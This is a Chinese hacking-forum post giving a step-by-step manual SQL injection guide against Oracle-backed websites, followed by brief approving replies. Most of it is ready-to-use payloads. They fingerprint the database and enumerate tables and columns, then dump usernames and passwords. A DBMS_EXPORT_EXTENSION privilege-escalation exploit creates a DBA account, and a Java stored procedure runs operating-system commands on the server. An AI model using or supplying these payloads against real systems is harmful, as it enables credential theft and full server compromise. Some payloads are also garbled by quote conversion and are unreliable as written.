查看: 9893|回复: 3

ORACLE数据库手工注入详解

[复制链接]
  • TA的每日心情
    无聊
    2016-8-19 10:32
  • 签到天数: 80 天

    [LV.6]常住居民II

    发表于 2013-11-25 14:52:33 | 显示全部楼层 |阅读模式
    0×00:判断数据库类型
    0×01:获取基本信息
    0×02:得到当前库所有表名
    0×03:得到所有列名
    0×04:获取列中数据
    0×05:获取所有数据库
    0×06:利用ORACLE的systeminfo权限拿下服务器

    下面是正文:
    判断注入,我就不说了,大家都很熟悉了,and 1=1和and 1=2 ,当然我们这篇文章是建立在有注入的前提下,如果没找到的话,请直接略过。
    当我们找到注入点的话,一般类似与asp/php/aspx?id=1这样的形式,(我没见过其他两种,见过的都是asp+oracle这种奇葩),在后面加注释符–,如果返回正常的话,大致可以判断数据库类型是mssql或者oracle,之后在根据oracle里面所特有的表查询
    例如:and exist(select * from dual) 或者and exists(select * from user_tables)
    利用的原理是dual表和user_tables表是oracle中的系统表
    返回正常,那么就可以肯定这是oracle了,接下来你就要抓狂了,因为oracle 注入工具不多。只能手工了。

    0×01 获取基本信息

    1. 判断过注入了,接下来就看有几个字段了,同样可以使用oder by N 根据返回页面判断,这里不再赘述,由于oracle中对于字段类型要求很严格,所以在union查询之前,我们首先要确定字段类型,可以用如下语句
    1. and 1=2 union select NULL,NULL,……,NULL from dual–中间省略
    复制代码
    然后将第一个NULL替换成1
    这样就成了
    1. and 1=2 union select 1,NULL,……,NULL from dual–中间省略
    复制代码
    如果正确,则说明在数据库中这个字段是数字类型,如果在当前页有此列数据,则也会在当前页特定位置显示。
    如果错误,这将其替换成

    1. and 1=2 union select ‘1’,NULL,……,NULL from dual–中间省略
    复制代码
    返回正常则说明此列是字符类型了。在下文中,我们假设为数字型,并且有6个字段
    2. 接下来,我们获取数据库版本
    1. and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from dual
    复制代码
    这里使用了sql语句的嵌套,然后在可以显示的位置,查询sys.v_$version,返回banner信息,同时也是数据库版本信息
    3. 然后获取操作系统版本

    1. and 1=2 union select 1,2,( select member from v$logfile where rownum=1),4,5,6 from dual
    复制代码
    3. 获取连接数据库的当前用户
    1. and 1=2 union select 1,2,( select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’)from dual),4,5,6 from dual
    复制代码
    现在服务器的基本信息,我们已经可以得到了,那么接着往下走,你应该知道该干什么了。

    0×02 获取当前库中所有表名
    1. and 1=2 union select 1,2,( select table_name from user_tables where rownum=1),4,5,6 from dual
    复制代码
    oracle中数据库中所有的表都是保存在user_tables这张表中,这样我们就获得了第一个表名,假设是news 接下来再来获取第二个
    1. and 1=2 union select 1,2,( select table_name from user_tables where rownum=1 and table_name<>’news’),4,5,6 from dual
    复制代码
    这样就得到了第二个表名,我们假设是manage 然后以此类推就可以得到所有的表名

    0×03:得到所有列名
    1. and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=’manage’ and rownum=1),4,5,6 from dual
    复制代码
    系统表多了就是这种好处,什么都可以去系统表中找到,如果再碰上盲注,那不哭了。
    然后才查询第二个表名,假设第一个得到的是username
    1. and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=’manage’ and rownum=1 and column_name<>’username’),4,5,6 from dual
    复制代码
    这样第二个就出来了,架设是password 同样是依次类推即可得到所有的列名

    0×04:得到列中数据
    查询指定列中数据没什么好说的,就像其他数据库一样
    1. and 1=2 union select 1,2,username,4,5,6 from manage
    复制代码
    1. and 1=2 union select 1,2,password,4,5,6 from manage
    复制代码
    这样用户名,密码都可以得到了

    0×05:获取所有数据库
    这种情况是存在你需要跨裤的情况下,其实一般情况下用不到,至于原因嘛,由各位看官自己体味了。
    先来爆出第一个数据库名
    1. and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from dual
    复制代码
    然后第二个,假设第一个是current_db
    1. and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>’current_user’),4,5,6 from dual
    复制代码
    然后就不用我说了吧,各位应该都很熟悉了。

    0×06:利用ORACLE的systeminfo权限拿下服务器
    oracle本身经常是已system运行的,所以拿下了oracle基本拿下了服务器了
    1. 首先是添加账户,利用的命令如下:
    1. and ‘’||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””Create USER linux IDENTIFIED BY linux””;END;”;END;–’,'SYS’,0,’1′,0)=”—
    复制代码
    2. 查看账户是否添加成功

    1. and”||(select user_id from all_users where username=’linux’)
    复制代码
    3. 接下来是把我们建立的用户加入到dba中

    1. and”||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””grant linux to rebeyond””;END;”;END;–’,'SYS’,0,’1′,0)=”—
    复制代码
    复制代码
    4. 之后没得说了就是为我们建立的用户赋予远程连接的权限

    1. and”||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ” DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ” ” GRANT CONNECT to linux ” ”;END;–’,SYS’,0,’1′,0) from dualp
    复制代码
    下面就远程连接了,连接之后需要建立存储过程
    第一步:

    1. create or replace and compile
    2. java souRCe named “util”
    3. as
    4. import java.io.*;
    5. import java.lang.*;
    6. public class util extends Object
    7. {
    8. public static int RunThis(String args)
    9. {
    10. Runtime rt = Runtime.getRuntime();
    11. int RC = -1;
    12. try
    13. {
    14. Process p = rt.exec(args);
    15. int bufSize = 4096;
    16. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
    17. int len;
    18. byte buffer[] = new byte[bufSize];
    19. // Echo back what the program spit out
    20. while ((len = bis.read(buffer, 0, bufSize)) != -1)
    21. System.out.write(buffer, 0, len);
    22. RC = p.waitFor();
    23. }
    24. catch (Exception e)
    25. {
    26. e.printStackTrace();
    27. RC = -1;
    28. }
    29. finally
    30. {
    31. return RC;
    32. }
    33. }
    34. }
    复制代码
    第二步:
    1. create or replace
    2. function RUN_CMz(p_cmd in varchar2) return number
    3. as
    4. language java
    5. name ‘util.RunThis(java.lang.String) return integer’;
    复制代码
    第三步:
    1. create or replace procedure RC(p_cmd in varChar)
    2. as
    3. x number;
    4. begin
    5. x := RUN_CMz(p_cmd);
    6. end;
    复制代码
    创建完之后,就可以通过x := RUN_CMz(dos命令)来执行系统命令了。(注:此处笔者未测试)
    到这一步了,我想你知道这就意味着什么了吧.

    文章基本上到这也就完了,欢迎大家扔金币,扔贡献,来着不拒哈哈
    回复

    使用道具 举报

    该用户从未签到

    发表于 2013-11-25 15:02:56 | 显示全部楼层
    很不错,正好缺少这些文章.,
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    昨天 13:17
  • 签到天数: 1584 天

    [LV.Master]伴坛终老

    发表于 2013-11-25 15:34:17 | 显示全部楼层
    给楼主重新编辑了下  累残老衲了

    点评

    好吧,我的错……  发表于 2013-11-25 17:42
    贫道传你点法力  详情 回复 发表于 2013-11-25 16:30
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-11-25 16:30:34 | 显示全部楼层
    90_ 发表于 2013-11-25 15:34
    给楼主重新编辑了下  累残老衲了

    贫道传你点法力
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-6-11 20:27 , Processed in 0.037610 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部